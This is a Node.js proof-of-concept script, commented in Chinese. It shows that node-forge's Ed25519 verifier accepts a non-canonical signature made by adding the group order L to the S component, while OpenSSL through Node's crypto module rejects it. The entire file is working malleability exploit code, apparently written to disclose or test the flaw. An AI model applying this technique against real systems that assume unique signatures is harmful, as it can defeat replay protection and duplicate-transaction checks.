#!/usr/bin/env node
'use strict';
const crypto = require('crypto');
const forge = require('node-forge');
const ed = forge.ed25519;
const MESSAGE = Buffer.from('Ed25519 malleability demonstration');
// Ed25519 群阶 L,小端序 32 字节(RFC 8032)
const ED25519_ORDER_L = Buffer.from([
0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10
]);
// 32 字节小端序加法(模 2^256,不进行模 L 约减)
function add32LE(a, b) {
const out = Buffer.alloc(32);
let carry = 0;
for (let i = 0; i < 32; i++) {
const sum = a[i] + b[i] + carry;
out[i] = sum & 0xff;
carry = sum >> 8;
}
return out;
}
function main() {
// 1. 生成 Ed25519 密钥对(使用 forge)
const keys = ed.generateKeyPair();
const publicKey = keys.publicKeyBytes;
const privateKey = keys.privateKeyBytes;
// 2. 用 forge 生成原始签名
const originalSig = ed.sign({
message: MESSAGE,
privateKeyBytes: privateKey,
publicKeyBytes: publicKey
});
// 3. 构造 S + L 变体:只修改签名的后 32 字节(S 部分)
const R = originalSig.subarray(0, 32);
const S = originalSig.subarray(32, 64);
const S_plus_L = add32LE(S, ED25519_ORDER_L);
// 检查溢出(如果 S + L 超过 32 字节,攻击无效)
if (S_plus_L[31] < S[31] && S_plus_L[31] !== S[31]) {
console.log('[-] S + L 溢出 32 字节,无法构造变体');
return;
}
const tweakedSig = Buffer.concat([R, S_plus_L]);
// 4. 用 forge 验证原始签名和变体
const forgeOriginal = ed.verify({
message: MESSAGE,
signature: originalSig,
publicKeyBytes: publicKey
});
const forgeTweaked = ed.verify({
message: MESSAGE,
signature: tweakedSig,
publicKeyBytes: publicKey
});
// 5. 用 OpenSSL(Node.js crypto)验证原始签名和变体
const cryptoKey = crypto.createPublicKey({
key: Buffer.concat([
Buffer.from('302a300506032b6570032100', 'hex'),
publicKey
]),
format: 'der',
type: 'spki'
});
const cryptoOriginal = crypto.verify(
null, MESSAGE, cryptoKey, originalSig
);
const cryptoTweaked = crypto.verify(
null, MESSAGE, cryptoKey, tweakedSig
);
// 6. 输出对比结果
console.log('=== 原始签名 ===');
console.log('forge: ', forgeOriginal);
console.log('OpenSSL:', cryptoOriginal);
console.log('\n=== S + L 变体 ===');
console.log('forge: ', forgeTweaked);
console.log('OpenSSL:', cryptoTweaked);
console.log('\n=== 结论 ===');
if (forgeTweaked && !cryptoTweaked) {
console.log('[!] forge 接受了非规范变体,OpenSSL 正确拒绝');
console.log('[!] 签名字节唯一性假设在 forge 中失效');
}
}
main();